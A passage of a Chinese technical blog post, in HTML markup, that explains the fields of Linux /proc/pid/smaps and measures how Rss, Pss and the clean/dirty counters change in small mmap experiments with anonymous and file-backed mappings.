&lt;li&gt;KernelPageSize: 每个VMA分配的页面大小，通常与页表条目中的大小相同。&lt;&#x2F;li&gt;
&lt;li&gt;MMUPageSize: MMU使用的页面大小（在大多数情况下与KernelPageSize相同）。&lt;&#x2F;li&gt;
&lt;li&gt;Resident Set Size (RSS): 进程驻留内存大小，指的是进程使用的物理内存大小&lt;&#x2F;li&gt;
&lt;li&gt;Proportional Set Size (PSS): 是指进程在内存中的页面数量，其中每个页面都按其共享的进程数进行划分。因此，如果一个进程有独占的1000页，和另一个进程共享1000页，它的PSS将为1500。&lt;&#x2F;li&gt;
&lt;li&gt;PSS_Dirty: 是由脏页组成的PSS的部分, Pss_Clean不包括在内，但可以通过从Pss中减去Pss_Dirty来计算&lt;&#x2F;li&gt;
&lt;li&gt;Shared_Clean: 共享干净页大小，指的是共享内存中未被修改的页大小&lt;&#x2F;li&gt;
&lt;li&gt;Shared_Dirty: 共享脏页大小，指的是共享内存中被修改的页大小&lt;&#x2F;li&gt;
&lt;li&gt;Private_Clean: 私有干净页大小，指的是私有内存中未被修改的页大小&lt;&#x2F;li&gt;
&lt;li&gt;Private_Dirty: 私有脏页大小，指的是私有内存中被修改的页大小&lt;&#x2F;li&gt;
&lt;li&gt;Referenced: 当前标记为已引用或访问的内存量&lt;&#x2F;li&gt;
&lt;li&gt;Anonymous:  不属于任何文件的内存量。即使与文件关联的映射也可能包含匿名页：当使用 MAP_PRIVATE 并且修改页面时，文件页面将被替换为私有的匿名副本。&lt;&#x2F;li&gt;
&lt;li&gt;LazyFree:              使用 madvise(MADV_FREE) 标记的内存量。内存不会立即使用 madvise() 释放。如果内存是干净的，它将在内存压力下释放。请注意，由于当前实现中使用的优化，打印的值可能低于实际值。如果不希望这样，请提交错误报告。&lt;&#x2F;li&gt;
&lt;li&gt;KSM:                   其中有多少页面是 KSM 页面。请注意，KSM 放置的零页面不包括在内，只包括实际的 KSM 页面。&lt;&#x2F;li&gt;
&lt;li&gt;AnonHugePages:         由透明大页面支持的内存数量。&lt;&#x2F;li&gt;
&lt;li&gt;ShmemPmdMapped:        由大页面支持的共享 (shmem&#x2F;tmpfs) 内存数量。&lt;&#x2F;li&gt;
&lt;li&gt;Shared_Hugetlb: 和 Private_Hugetlb: 显示历史上原因未计入 &quot;RSS&quot; 或 &quot;PSS&quot; 字段的由 hugetlbfs 页面支持的内存量。它们也不包含在 {Shared,Private}_{Clean,Dirty} 字段中。&lt;&#x2F;li&gt;
&lt;li&gt;Swap:                  显示有多少非匿名内存也使用，但已交换出去。&lt;&#x2F;li&gt;
&lt;li&gt;SwapPss:               此映射的比例交换份额。与 &quot;Swap&quot; 不同，这不考虑底层 shmem 对象的交换出页面。&lt;&#x2F;li&gt;
&lt;li&gt;Locked:                指示映射是否锁定在内存中。&lt;&#x2F;li&gt;
&lt;li&gt;THPeligible:           指示映射是否有资格分配任何当前启用的尺寸的自然对齐 THP 页面。如果是 1，否则为 0。&lt;&#x2F;li&gt;
&lt;li&gt;VmFlags: 该成员以两位字母编码方式表示与特定虚拟内存区域关联的内核标志。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;文档还给了两点提示: - 读取 &lt;code&gt;&#x2F;proc&#x2F;pid&#x2F;maps&lt;&#x2F;code&gt; or &lt;code&gt;&#x2F;proc&#x2F;pid&#x2F;smaps&lt;&#x2F;code&gt; 是存在竞争的。在内存映射&lt;code&gt;修改的同时做部分读取&lt;&#x2F;code&gt;可能会遇到&lt;code&gt;不一致性&lt;&#x2F;code&gt;，但是Linux内核保证了部分输出的正确性。 - 由于&lt;code&gt;KERNEL&lt;&#x2F;code&gt;配置和内核版本迭代，&lt;code&gt;&#x2F;proc&#x2F;pid&#x2F;smaps&lt;&#x2F;code&gt;的输出以及字段可能会发生变化。各项内存配置可能会是依赖特定版本。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;&lt;code&gt;smaps&lt;&#x2F;code&gt;中的字段过多，而且有一些内核和透明大页相关字段。&lt;&#x2F;p&gt;
&lt;p&gt;这里仅测试常归内存分配和非透明大页应用程序对&lt;code&gt;smaps&lt;&#x2F;code&gt;中字段的影响。&lt;&#x2F;p&gt;
&lt;p&gt;现代&lt;code&gt;Linux&lt;&#x2F;code&gt;系统都会使用&lt;code&gt;ASLR&lt;&#x2F;code&gt;技术来随机化进程空间的地址空间布局，这会使得恶意攻击者难以准确预测代码和数据在内存中的位置，从而增加了系统的安全性。&lt;&#x2F;p&gt;
&lt;p&gt;从另一个角度看，&lt;code&gt;ASLR&lt;&#x2F;code&gt;会干扰我们对&lt;code&gt;smaps&lt;&#x2F;code&gt;文件的分析。&lt;&#x2F;p&gt;
&lt;p&gt;让我们先使用&lt;code&gt;sudo sh -c &#x27;echo 0 &amp;gt; &#x2F;proc&#x2F;sys&#x2F;kernel&#x2F;randomize_va_space&#x27;&lt;&#x2F;code&gt;来临时禁用掉&lt;code&gt;ASLR&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;先来编写一段简单分配&lt;code&gt;8M&lt;&#x2F;code&gt;内存的代码，但并不对内存进行赋值，代码如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;signal.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;sys&amp;#x2F;mman.h&amp;gt;
void main(int argc, char *argv[])
{
        char *x = (char *)mmap(0, 8*1024*1024, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        printf(&amp;quot;%p\n&amp;quot;, x);
        for (;;) {
                usleep(1000);
        }
        munmap(x, 1000);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;需要说明的是，这段代码并没有使用&lt;code&gt;malloc&lt;&#x2F;code&gt;，是因为&lt;code&gt;malloc&lt;&#x2F;code&gt;会重复使用分配过但是又释放的内存。&lt;&#x2F;p&gt;
&lt;p&gt;有可能使用&lt;code&gt;malloc&lt;&#x2F;code&gt;分配出来的内存，是之前代码已经使用过的，这会干扰我们的判断（比如虽然从本次分配开始，我们一直没有访问过这版内存，但是有可能在上一次分配时已经被进程访问过了)。&lt;&#x2F;p&gt;
&lt;p&gt;来看一下&lt;code&gt;&#x2F;proc&#x2F;pid&#x2F;smaps&lt;&#x2F;code&gt;的输出(这里仅列出与上述代码相关的字段，无关字段已经省略):&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;...
7ffff75d1000-7ffff7dd4000 rw-p 00000000 00:00 0
Size:               8204 kB
KernelPageSize:        4 kB
MMUPageSize:           4 kB
Rss:                   8 kB
Pss:                   8 kB
Pss_Dirty:             8 kB
Shared_Clean:          0 kB
Shared_Dirty:          0 kB
Private_Clean:         0 kB
Private_Dirty:         8 kB
Referenced:            8 kB
Anonymous:             8 kB
LazyFree:              0 kB
AnonHugePages:         0 kB
ShmemPmdMapped:        0 kB
FilePmdMapped:         0 kB
Shared_Hugetlb:        0 kB
Private_Hugetlb:       0 kB
Swap:                  0 kB
SwapPss:               0 kB
Locked:                0 kB
THPeligible:    1
VmFlags: rd wr mr mw me ac
...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;从&lt;code&gt;smaps&lt;&#x2F;code&gt;的输出可以看出&lt;code&gt;Size&lt;&#x2F;code&gt;字段正是我们分配的&lt;code&gt;8M&lt;&#x2F;code&gt;虚拟内存。&lt;&#x2F;p&gt;
&lt;p&gt;由于我们并没有对分配出来的内存有任何访问，所以&lt;code&gt;Rss&lt;&#x2F;code&gt;和&lt;code&gt;Pss&lt;&#x2F;code&gt;都应该为0，这里却显示为&lt;code&gt;8K&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;这可能是因为我这里的测试环境并不是标准的&lt;code&gt;Linux&lt;&#x2F;code&gt;系统，而是&lt;code&gt;WSL&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;我在标准的&lt;code&gt;Linux&lt;&#x2F;code&gt;系统中，&lt;code&gt;Rss&lt;&#x2F;code&gt;和&lt;code&gt;Pss&lt;&#x2F;code&gt;都会为&lt;code&gt;0KB&lt;&#x2F;code&gt;，这并不会影响我们接下来的分析。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;接下来，我们读取一下使用&lt;code&gt;mmap&lt;&#x2F;code&gt;出来的内存, 再来观察&lt;code&gt;smaps&lt;&#x2F;code&gt;的输出：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;diff --git a&amp;#x2F;a.c b&amp;#x2F;a.c
index 555efe5..bffd055 100644
--- a&amp;#x2F;a.c
+++ b&amp;#x2F;a.c
@@ -7,6 +7,7 @@ void main(int argc, char *argv[])
 {
         char *x = (char *)mmap(0, 8*1024*1024, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
         printf(&amp;quot;%p\n&amp;quot;, x);
+        printf(&amp;quot;%d\n&amp;quot;, x[8*1024*1024-1]);
         for (;;) {
                 usleep(1000);
         }
...
7ffff75d1000-7ffff7dd4000 rw-p 00000000 00:00 0
Size:               8204 kB
KernelPageSize:        4 kB
MMUPageSize:           4 kB
Rss:                   8 kB
Pss:                   8 kB
Pss_Dirty:             8 kB
Shared_Clean:          0 kB
Shared_Dirty:          0 kB
Private_Clean:         0 kB
Private_Dirty:         8 kB
Referenced:            8 kB
Anonymous:             8 kB
...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;从&lt;code&gt;smaps&lt;&#x2F;code&gt;的输出可以看出，所有的值都没有增加。&lt;&#x2F;p&gt;
&lt;p&gt;这并不符合我们学习的操作系统知识，从&lt;code&gt;MMU&lt;&#x2F;code&gt;的角度来看，只要我们访问了一个不存的的虚拟内存地址，就必然会产生一个&lt;code&gt;minor page fault&lt;&#x2F;code&gt;, 进而造成操作系统为这个虚拟内存地址所在的虚拟页分配物理内存。&lt;&#x2F;p&gt;
&lt;p&gt;带着疑惑，我们去查看一下&lt;code&gt;&#x2F;proc&#x2F;pid&#x2F;pagemap&lt;&#x2F;code&gt;, 这个虚拟文件可以给出某个进程的详细内存映射信息，由于信息量过大，这个文件内容是以二进制提供的。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;github.com&#x2F;dwks&#x2F;pagemap.git&quot;&gt;GitHub随便找了个解析器&lt;&#x2F;a&gt;， 输出结果如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;...
0x7ffff7dd0000     : pfn 0                soft-dirty 0 file&amp;#x2F;shared 0 swapped 0 present 1 library
...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;从&lt;code&gt;&#x2F;proc&#x2F;pid&#x2F;pagemap&lt;&#x2F;code&gt;输出上看，操作系统已经为我们访问的内存分配的物理内存，但是&lt;code&gt;&#x2F;proc&#x2F;pid&#x2F;smaps&lt;&#x2F;code&gt;中却并没有体现。&lt;&#x2F;p&gt;
&lt;p&gt;其根本原因就是，当我们使用&lt;code&gt;mmap&lt;&#x2F;code&gt;分配一个匿名页（MAP_ANONYMOUS）时，操作系统会保证分配出来的内存全部由0填充。&lt;&#x2F;p&gt;
&lt;p&gt;为了优化填充效率，&lt;code&gt;Linux&lt;&#x2F;code&gt;中会维护一个&lt;code&gt;ZeroPage&lt;&#x2F;code&gt;, 这个内存页是由操作系统管理的一个由0填充的&lt;strong&gt;只读&lt;&#x2F;strong&gt;内存页。&lt;&#x2F;p&gt;
&lt;p&gt;当我们试图对这个&lt;code&gt;ZeroPage&lt;&#x2F;code&gt;进行写操作时，就会触发&lt;code&gt;copy-on-write&lt;&#x2F;code&gt;机制，这时操作系统才会真正为当前进程分配物理内存。&lt;&#x2F;p&gt;
&lt;p&gt;为了验证这一点，让我们将代码修改如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;diff --git a&amp;#x2F;a.c b&amp;#x2F;a.c
index 4f7b123..f1cf401 100644
--- a&amp;#x2F;a.c
+++ b&amp;#x2F;a.c
@@ -8,6 +8,7 @@ void main(int argc, char *argv[])
         char *x = (char *)mmap(0, 8*1024*1024, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        printf(&amp;quot;%p\n&amp;quot;, x);
        printf(&amp;quot;%d\n&amp;quot;, x[8*1024*1024-1]);
+        x[8*1024*1024-1] = 1;
         for (;;) {
                 usleep(1000);
         }
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;smaps&lt;&#x2F;code&gt;的输出如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;...
7ffff75d1000-7ffff7dd4000 rw-p 00000000 00:00 0
Size:               8204 kB
KernelPageSize:        4 kB
MMUPageSize:           4 kB
Rss:                  12 kB
Pss:                  12 kB
Pss_Dirty:            12 kB
Shared_Clean:          0 kB
Shared_Dirty:          0 kB
Private_Clean:         0 kB
Private_Dirty:        12 kB
Referenced:           12 kB
Anonymous:            12 kB
...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;果然&lt;code&gt;Rss&lt;&#x2F;code&gt;和&lt;code&gt;Pss&lt;&#x2F;code&gt;都如预期增加了一个&lt;code&gt;PageSize&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;到目前为止&lt;code&gt;Rss&lt;&#x2F;code&gt;和&lt;code&gt;Pss&lt;&#x2F;code&gt;总是一样的，让我们来尝试一下两个进程共享内存，看看有什么不同。&lt;&#x2F;p&gt;
&lt;p&gt;我们先使用一个&lt;code&gt;mmap&lt;&#x2F;code&gt;以&lt;code&gt;MAP_PRIVATE&lt;&#x2F;code&gt;的方式将一个&lt;code&gt;8m.bin&lt;&#x2F;code&gt;的文件映射到进程的虚拟空间，并启动一个进程， 代码如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;sys&amp;#x2F;mman.h&amp;gt;
#include &amp;lt;sys&amp;#x2F;stat.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
void main(int argc, char *argv[])
{
    int fd;
    char *x;
    struct stat file_info;
    &amp;#x2F;&amp;#x2F; 打开文件
    fd = open(&amp;quot;8m.bin&amp;quot;, O_RDWR);
    if (fd == -1) {
        perror(&amp;quot;open&amp;quot;);
        return ;
    }
    &amp;#x2F;&amp;#x2F; 获取文件信息
    if (fstat(fd, &amp;amp;file_info) == -1) {
        perror(&amp;quot;fstat&amp;quot;);
        close(fd);
        return ;
    }
    &amp;#x2F;&amp;#x2F; 映射文件至内存
    x = mmap(0, file_info.st_size, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0);
    if (x == NULL) {
        perror(&amp;quot;mmap&amp;quot;);
        close(fd);
        return ;
    }
    printf(&amp;quot;%p\n&amp;quot;, x);
    for (;;) {
                usleep(1000);
    }
    munmap(x, 1000);
    }
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这时&lt;code&gt;smaps&lt;&#x2F;code&gt;的输出如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;7ffff7400000-7ffff7c00000 rw-p 00000000 08:20 65306                      &amp;#x2F;home&amp;#x2F;dev&amp;#x2F;foo&amp;#x2F;8m.bin
Size:               8192 kB
KernelPageSize:        4 kB
MMUPageSize:           4 kB
Rss:                   0 kB
Pss:                   0 kB
Pss_Dirty:             0 kB
Shared_Clean:          0 kB
Shared_Dirty:          0 kB
Private_Clean:         0 kB
Private_Dirty:         0 kB
Referenced:            0 kB
Anonymous:             0 kB
LazyFree:              0 kB
AnonHugePages:         0 kB
ShmemPmdMapped:        0 kB
FilePmdMapped:         0 kB
Shared_Hugetlb:        0 kB
Private_Hugetlb:       0 kB
Swap:                  0 kB
SwapPss:               0 kB
Locked:                0 kB
THPeligible:    0
VmFlags: rd wr mr mw me ac
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;由于我们并没有读写过&lt;code&gt;mmap&lt;&#x2F;code&gt;后的内存，并没有触发&lt;code&gt;minor page fault&lt;&#x2F;code&gt;，因此&lt;code&gt;Rss&lt;&#x2F;code&gt;和&lt;code&gt;Pss&lt;&#x2F;code&gt;都为&lt;code&gt;0KB&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;我们来读取一下文件的内容，将代码修改如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;diff --git a&amp;#x2F;a.c b&amp;#x2F;a.c
index d356103..b3bbbe6 100644
--- a&amp;#x2F;a.c
+++ b&amp;#x2F;a.c
@@ -29,6 +29,7 @@ void main(int argc, char *argv[])
         return ;
     }
     printf(&amp;quot;%p\n&amp;quot;, x);
+    printf(&amp;quot;%d\n&amp;quot;, x[8*1024*1024-1]);
     for (;;) {
                 usleep(1000);
     }
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这时&lt;code&gt;smaps&lt;&#x2F;code&gt;的输出如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;...
$ cat &amp;#x2F;proc&amp;#x2F;59838&amp;#x2F;smaps  | grep -A30 7ffff74
7ffff7400000-7ffff7c00000 rw-p 00000000 08:20 65306                      &amp;#x2F;home&amp;#x2F;dev&amp;#x2F;foo&amp;#x2F;8m.bin
Size:               8192 kB
KernelPageSize:        4 kB
MMUPageSize:           4 kB
Rss:                  64 kB
Pss:                  64 kB
Pss_Dirty:             0 kB
Shared_Clean:          0 kB
Shared_Dirty:          0 kB
Private_Clean:        64 kB
Private_Dirty:         0 kB
Referenced:           64 kB
Anonymous:             0 kB
...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;从&lt;code&gt;Rss&lt;&#x2F;code&gt;的字段可以看出，操作系统已经为这块虚拟内存分配了&lt;code&gt;64kB&lt;&#x2F;code&gt;物理内存。&lt;&#x2F;p&gt;
&lt;p&gt;由于我们只启动了一个进程来打开文件，所以&lt;code&gt;Pss&lt;&#x2F;code&gt;和&lt;code&gt;Rss&lt;&#x2F;code&gt;的值是一样的。&lt;&#x2F;p&gt;
&lt;p&gt;由于我们只有一个进程来独占这块内存并且没有对文件内容进行过修改，所以分配的物理内存页被统计入了&lt;code&gt;Private_Clean&lt;&#x2F;code&gt;，而&lt;code&gt;Private_Dirty&lt;&#x2F;code&gt;为0。&lt;&#x2F;p&gt;
&lt;p&gt;我们来启动&lt;code&gt;2&lt;&#x2F;code&gt;个相同进程，&lt;code&gt;smaps&lt;&#x2F;code&gt;的输出如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;7ffff7400000-7ffff7c00000 rw-p 00000000 08:20 65306                      &amp;#x2F;home&amp;#x2F;dev&amp;#x2F;foo&amp;#x2F;8m.bin
Size:               8192 kB
KernelPageSize:        4 kB
MMUPageSize:           4 kB
Rss:                  64 kB
Pss:                  32 kB
Pss_Dirty:             0 kB
Shared_Clean:         64 kB
Shared_Dirty:          0 kB
Private_Clean:         0 kB
Private_Dirty:         0 kB
Referenced:           64 kB
Anonymous:             0 kB
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;由于我们启动了&lt;code&gt;2&lt;&#x2F;code&gt;个相同的进程并执行了相同的逻辑，因此&lt;code&gt;Pss&lt;&#x2F;code&gt;的值为&lt;code&gt;Rss&lt;&#x2F;code&gt;除以&lt;code&gt;2&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;需要说明的是，&lt;code&gt;Rss&lt;&#x2F;code&gt;和&lt;code&gt;Pss&lt;&#x2F;code&gt;&lt;strong&gt;并不总是存在比例关系&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;我们将上面的程序称为&lt;code&gt;A&lt;&#x2F;code&gt;, 然后&lt;code&gt;A&lt;&#x2F;code&gt;的基础上做出如下修改，得到程序&lt;code&gt;B&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;diff --git a&amp;#x2F;a.c b&amp;#x2F;a.c
index b3bbbe6..73315f5 100644
--- a&amp;#x2F;b.c
+++ b&amp;#x2F;b.c
@@ -29,7 +29,7 @@ void main(int argc, char *argv[])
         return ;
     }
     printf(&amp;quot;%p\n&amp;quot;, x);
-    printf(&amp;quot;%d\n&amp;quot;, x[8*1024*1024-1]);
+    printf(&amp;quot;%d\n&amp;quot;, x[8*1024*1024-1 - 128*1024]);
     for (;;) {
                 usleep(1000);
     }
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;同时运行程序&lt;code&gt;A&lt;&#x2F;code&gt;和&lt;code&gt;B&lt;&#x2F;code&gt;, 再来看进程&lt;code&gt;A&lt;&#x2F;code&gt;的&lt;code&gt;smaps&lt;&#x2F;code&gt;文件内容：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;...
7ffff7400000-7ffff7c00000 rw-p 00000000 08:20 65306                      &amp;#x2F;home&amp;#x2F;dev&amp;#x2F;foo&amp;#x2F;8m.bin
Size:               8192 kB
KernelPageSize:        4 kB
MMUPageSize:           4 kB
Rss:                  64 kB
Pss:                  64 kB
Pss_Dirty:             0 kB
Shared_Clean:          0 kB
Shared_Dirty:          0 kB
Private_Clean:        64 kB
Private_Dirty:         0 kB
Referenced:           64 kB
Anonymous:             0 kB
...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看到虽然进程&lt;code&gt;A&lt;&#x2F;code&gt;和&lt;code&gt;B&lt;&#x2F;code&gt;共享了同一个文件，但是此时&lt;code&gt;Pss&lt;&#x2F;code&gt;竟然等于&lt;code&gt;Rss&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;这是因为&lt;code&gt;Pss&lt;&#x2F;code&gt;的统计粒度是&lt;code&gt;Page&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;比如进程&lt;code&gt;A&lt;&#x2F;code&gt;被分配了3个物理页&lt;code&gt;A,B,C&lt;&#x2F;code&gt;。这三个物理页的&lt;strong&gt;共享进程数&lt;&#x2F;strong&gt;分别为&lt;code&gt;A:1,B:2,C:3&lt;&#x2F;code&gt;, 那么&lt;code&gt;Pss&lt;&#x2F;code&gt;的最终值就是&lt;code&gt;PageSize&lt;&#x2F;code&gt;*(1&#x2F;1 +1&#x2F;2+1&#x2F;3)。&lt;&#x2F;p&gt;
&lt;p&gt;而当前进程&lt;code&gt;A&lt;&#x2F;code&gt;和&lt;code&gt;B&lt;&#x2F;code&gt;并没有共享任何内存页。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;让我们为程序&lt;code&gt;A&lt;&#x2F;code&gt;增加文件代码，并启动两个&lt;strong&gt;相同&lt;&#x2F;strong&gt;的程序，修改如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;diff --git a&amp;#x2F;a.c b&amp;#x2F;a.c
index b3bbbe6..34c8a42 100644
--- a&amp;#x2F;a.c
+++ b&amp;#x2F;a.c
@@ -30,6 +30,7 @@ void main(int argc, char *argv[])
     }
     printf(&amp;quot;%p\n&amp;quot;, x);
     printf(&amp;quot;%d\n&amp;quot;, x[8*1024*1024-1]);
+    x[8*1024*1024-1] = 1;
     for (;;) {
                 usleep(1000);
     }
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;smaps&lt;&#x2F;code&gt;的输出如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;...
7ffff7400000-7ffff7c00000 rw-p 00000000 08:20 65306                      &amp;#x2F;home&amp;#x2F;dev&amp;#x2F;foo&amp;#x2F;8m.bin
Size:               8192 kB
KernelPageSize:        4 kB
MMUPageSize:           4 kB
Rss:                  64 kB
Pss:                  34 kB
Pss_Dirty:             4 kB
Shared_Clean:         60 kB
Shared_Dirty:          0 kB
Private_Clean:         0 kB
Private_Dirty:         4 kB
Referenced:           64 kB
Anonymous:             4 kB
...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这次的输出是目前为止信息量最大的一次。&lt;&#x2F;p&gt;
&lt;p&gt;由于我们对内存的写入，导致&lt;code&gt;Anonymous&lt;&#x2F;code&gt;的内存增加了&lt;code&gt;4kB&lt;&#x2F;code&gt;，这是由于&lt;code&gt;MAP_PRIVATE&lt;&#x2F;code&gt;参数导致的。&lt;&#x2F;p&gt;
&lt;p&gt;当我们使用&lt;code&gt;MAP_PRIVATE&lt;&#x2F;code&gt;来打开文件时，我们所有对文件的修改都会触发&lt;code&gt;copy-on-write&lt;&#x2F;code&gt;, 为当前进程分配独占物理内存。&lt;&#x2F;p&gt;
&lt;p&gt;可想而知，以&lt;code&gt;MAP_PRIVATE&lt;&#x2F;code&gt;打开的文件，也不可能真的被修改。&lt;&#x2F;p&gt;
&lt;p&gt;下面让我们来手工模拟如何计算出上述参数的值。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;Rss&lt;&#x2F;code&gt;的值代表操作系统为我们的虚拟内存映射了&lt;code&gt;64kB&lt;&#x2F;code&gt;物理内存，&lt;code&gt;Anonymous&lt;&#x2F;code&gt;的值操作系统为我们的虚拟内存映射了&lt;code&gt;4kB&lt;&#x2F;code&gt;独占物理内存。&lt;&#x2F;p&gt;
&lt;p&gt;也就是说当前两个进程的共享内存一共为&lt;code&gt;60kB&lt;&#x2F;code&gt;，字段&lt;code&gt;Shared_Clean&lt;&#x2F;code&gt;也可以印证这一点。&lt;&#x2F;p&gt;
&lt;p&gt;由于&lt;code&gt;60kB&lt;&#x2F;code&gt;内存是由两个进程共享, 并且还有&lt;code&gt;4kB&lt;&#x2F;code&gt;的独占内存，因此&lt;code&gt;Pss&lt;&#x2F;code&gt;等于&lt;code&gt;60&#x2F;2+4=34kB&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;由于修改过的脏页是私有页（自己独占), 因此&lt;code&gt;Private_Dirty&lt;&#x2F;code&gt;的值为&lt;code&gt;4kB&lt;&#x2F;code&gt;, &lt;code&gt;Pss_Dirty&lt;&#x2F;code&gt;的值为&lt;code&gt;4kB&#x2F;1=4kB&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;让我们将MAP_PRIVATE换为MAP_SHARED再来启动两个相同进程，看看有什么不同。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;diff --git a&amp;#x2F;a.c b&amp;#x2F;a.c
index 34c8a42..1493c60 100644
--- a&amp;#x2F;a.c
+++ b&amp;#x2F;a.c
@@ -22,7 +22,7 @@ void main(int argc, char *argv[])
         return ;
     }
     &amp;#x2F;&amp;#x2F; 映射文件至内存
-    x = mmap(0, file_info.st_size, PROT_READ | PROT_WRITE, MAP_PRIVATE, fd, 0);
+    x = mmap(0, file_info.st_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
     if (x == NULL) {
         perror(&amp;quot;mmap&amp;quot;);
         close(fd);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;smaps&lt;&#x2F;code&gt;的输出如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;....
